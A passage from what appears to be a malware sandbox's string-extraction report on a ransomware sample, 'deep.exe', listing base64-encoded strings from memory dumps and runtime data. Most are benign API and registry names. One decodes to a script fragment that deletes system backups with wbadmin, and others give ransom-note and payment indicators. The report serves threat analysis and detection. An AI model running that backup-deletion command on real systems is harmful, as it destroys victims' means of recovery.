Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Y3JlYXRlRG9jdW1lbnRGcmFnbWVudCgtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Y3JlYXRlTm9kZSglZCwgIiVzIiwgTCIiLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Z2V0X2RvY3VtZW50RWxlbWVudCgtLCBOVUxMKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Z2V0RWxlbWVudHNCeVRhZ05hbWUoTCJSRUNPUkQiLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6bG9hZFhNTCgtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6c2F2ZShMIiVzIik=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50OjpnZXRfZG9jdW1lbnRFbGVtZW50KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Ojpsb2FkWE1MKC0sIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50RnJhZ21lbnQ6OmFwcGVuZENoaWxkKC0sIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTUVsZW1lbnQ6OmFwcGVuZENoaWxkKC0sIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTUVsZW1lbnQ6OmdldEVsZW1lbnRzQnlUYWdOYW1lKEwiQ09NTUFORExJTkUiLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTUVsZW1lbnQ6OmdldEVsZW1lbnRzQnlUYWdOYW1lKEwiVkFMVUUiLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTUVsZW1lbnQ6OmdldEVsZW1lbnRzQnlUYWdOYW1lKEwiWFNMRk9STUFUIiwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5hbWVkTm9kZU1hcDo6Z2V0TmFtZWRJdGVtKEwiS0VZV09SRCIsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5hbWVkTm9kZU1hcDo6c2V0TmFtZWRJdGVtKC0sIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmFwcGVuZENoaWxkKC0sIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmNsb25lTm9kZSgtLC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmNsb25lTm9kZShWQVJJQU5UX1RSVUUsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmdldF9hdHRyaWJ1dGVzKC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmdldF9ub2RlVmFsdWUoLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmdldF9wYXJlbnROb2RlKC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmdldF9QYXJlbnROb2RlKC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmdldF90ZXh0KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OnB1dF90ZXh0KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OnB1dF90ZXh0KEwiJXMiKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OnJlcGxhY2VDaGlsZCgtLCAtLCBOVUxMKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OnJlcGxhY2VDaGlsZCgtLC0sLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGVMaXN0OjpnZXRfaXRlbSglZCwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGVMaXN0OjpnZXRfaXRlbSgtLC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGVMaXN0OjpnZXRfbGVuZ3RoKC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTTERPTURvY3VtZW50Mjo6bG9hZChMIiVzIiwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTTERPTURvY3VtZW50Mjo6cHV0X2FzeW5jKFZBUklBTlRfRkFMU0Up","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTUHJvY2Vzc29yOjphZGRQYXJhbWV0ZXIoTCIlcyIsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTUHJvY2Vzc29yOjpnZXRfb3V0cHV0KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTUHJvY2Vzc29yOjpwdXRfaW5wdXQoLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTUHJvY2Vzc29yOjpwdXRfb3V0cHV0KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTUHJvY2Vzc29yOjp0cmFuZm9ybSgtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTVGVtcGxhdGU6OmNyZWF0ZVByb2Nlc3NvcigtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTVGVtcGxhdGU6OnB1dHJlZl9zdHlsZXNoZWV0KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aihdSGx9Wzs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"amVjdDo6R2V0KCVzLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TGFuZ3VhZ2UgSG90a2V5","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGFzc09iamVjdDo6R2V0KEwiX19QQVRIIiwgMCwgLSwwLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bGFzc09iamVjdDo6UHV0KEwiJXMiLCAwLCAtLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TGF5b3V0IEhvdGtleQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TElORT4lczwvQ09NTUFORExJTkU+","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZFdpdGhvdXRDT00=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWwgQXBwRGF0YQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxBbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxCaXRjb2lucw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxGcmVl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TE9DQUxIT1NU","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxpemVkTmFtZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxSZWRpcmVjdE9ubHk=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFwOjpnZXROYW1lZEl0ZW0oTCJLRVlXT1JEIiwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TWF4Q29ubmVjdGlvbnNQZXIxXzBTZXJ2ZXI=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4Q29ubmVjdGlvbnNQZXJQcm94eQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4Q29ubmVjdGlvbnNQZXJTZXJ2ZXI=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4SHR0cFJlZGlyZWN0cw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TUJDU0FQSWZvckNyYWNr","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TURvY3VtZW50Mjo6c2F2ZShMIiVzIik=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bUh0fWomYnNoQi5D","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TUxET01FbGVtZW50OjpnZXRFbGVtZW50c0J5VGFnTmFtZShMIkNPTU1BTkRMSU5FIiwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TUxET01Ob2RlOjpjbG9uZU5vZGUoVkFSSUFOVF9UUlVFLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TU5vZGU6OmFwcGVuZENoaWxkKC0sIE5VTEwp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TU5vZGU6OmdldF90ZXh0KC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"TU9GIENvbXBpbGF0aW9uIEVycm9yICh0aGUgZXJyb3JsZXZlbCBpcyB1dGlsaXR5IHNwZWNpZmljKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bXJkZWVwQHByb3Rvbm1haWwuY29t","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"TVNGVF9Mb2NhbGl6YWJsZVByb3BlcnR5VmFsdWUuT2JqZWN0TG9jYXRvcj0iIixQcm9wZXJ0eU5hbWU9","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bXNodGEuZXhl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TkNQbD17OSU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TmV3IGNvbm5lY3Rpb25zIHdpbGwgYmUgcmVtZW1iZXJlZC4=","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bkluc3RhbmNlKDAsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"bm90ZXBhZC5leGUgIiVVU0VSUFJPRklMRSVcSE9XIFRPIFJFQ09WRVIgRU5DUllQVEVEIEZJTEVTLlRYVCI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bz1uZXcgQWN0aXZlWE9iamVjdCgiV1NjcmlwdC5TaGVsbCIpO28uUnVuKCJjbWQuZXhlIC9jIHdiYWRtaW4gREVMRVRFIFNZU1RFTVNUQVRFQkFDS1VQIC1rZWVwVmVyc2lvbnM6MCIsMCk7by5SdW4oImNtZC5leGUgL2Mgd21pYw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"b2N1bWVudDI6OmxvYWRYTUwoLSwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"b2N1bWVudDI6OnB1dF9hc3luYyhWQVJJQU5UX0ZBTFNFKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"b2RlOjpwdXRfdGV4dChMIiVzIik=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T0xMWURCRw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T04+IlVua25vd24gV0JFTSBFcnJvciI8L0RFU0NSSVBUSU9OPg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T3BlblByb2Nlc3NUb2tlbg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cGF5bWVudA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"UEU9InN0cmluZyI+PFZBTFVFPjwhW0NEQVRBWyVzIDwvVkFMVUU+PC9QUk9QRVJUWT4=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cGVkaXkwNg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdmF0ZUtleUxpZmV0aW1lU2Vjb25kcw==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlTWF4SXRlbXM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlUHVyZ2VJbnRlcnZhbFNlY29uZHM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzcyBNb25pdG9yIC0gU3lzaW50ZXJuYWxzOiB3d3cuc3lzaW50ZXJuYWxzLmNvbQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2Vzc0lE","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UFJPQ01PTl9XSU5ET1dfQ0xBU1M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdFZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJJbmZv","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlIdHRwMS4x","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cHd3d3d3d3d3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlGb3JJbmZvVGlw","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cmF5R2V0TEJvdW5kKC0sIDEsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ2xvc2VLZXk=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cmVnaXN0ZXIs","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0cnkgTW9uaXRvciAtIFN5c2ludGVybmFsczogd3d3LnN5c2ludGVybmFscy5jb20=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnbW9uQ2xhc3M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnT3BlbktleUV4Vw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UmVnUXVlcnlWYWx1ZUV4Vw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3RlUGF0aA==","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3RlUnBjRGxs","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cm9jZXNzb3I6OnB1dF9pbnB1dCgtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cm9vdFxjaW12Mg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cm9yICh0aGUgZXJyb3JsZXZlbCBpcyB1dGlsaXR5IHNwZWNpZmljKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Uy80PHEoalsv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5R2V0RWxlbWVudCgtLCAtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5R2V0TEJvdW5kKC0sIC0sIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5R2V0TEJvdW5kKC0sIDEsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5R2V0VUJvdW5kKC0sIC0sIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5R2V0VUJvdW5kKC0sIDEsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5UHV0RWxlbWVudCgtLCAtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZVByb2Nlc3NTZWFyY2hNb2Rl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2F2ZUNvbm5lY3Rpb25z","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VwYXJhdGVQcm9jZXNz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VydmVySW5mb1RpbWVvdXQ=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZVNjcmVlbkJ1ZmZlclNpemU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V29ya2luZ0RpcmVjdG9yeUZyb21UYXJnZXQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hhcmVDcmVkc1dpdGhXaW5IdHRw","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd0NvbXBDb2xvcg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd0luZm9UaXA=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U21vb3RoU2Nyb2xs","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c09iamVjdDo6R2V0KEwiTmFtZSIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U1FNU2VydmljZUxpc3Q=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c3NPYmplY3Q6OkdldFByb3BlcnR5UXVhbGlmaWVyU2V0KEwiJXMiLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U3RhdHVzICAgICAgIExvY2FsICAgICBSZW1vdGUgICAgICAgICAgICAgICAgICAgIE5ldHdvcms=","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3RvcmVzU2VydmljZUNsYXNzSW5mbw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3RyaW5nRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U1VDQ0VTUyAlcyAtIFN1Y2NlZWRlZCAlcyAlcyB0aHJlYWQ6JWQgWyVzLiVkXQ==","type":"Unicode","source":"Hybrid 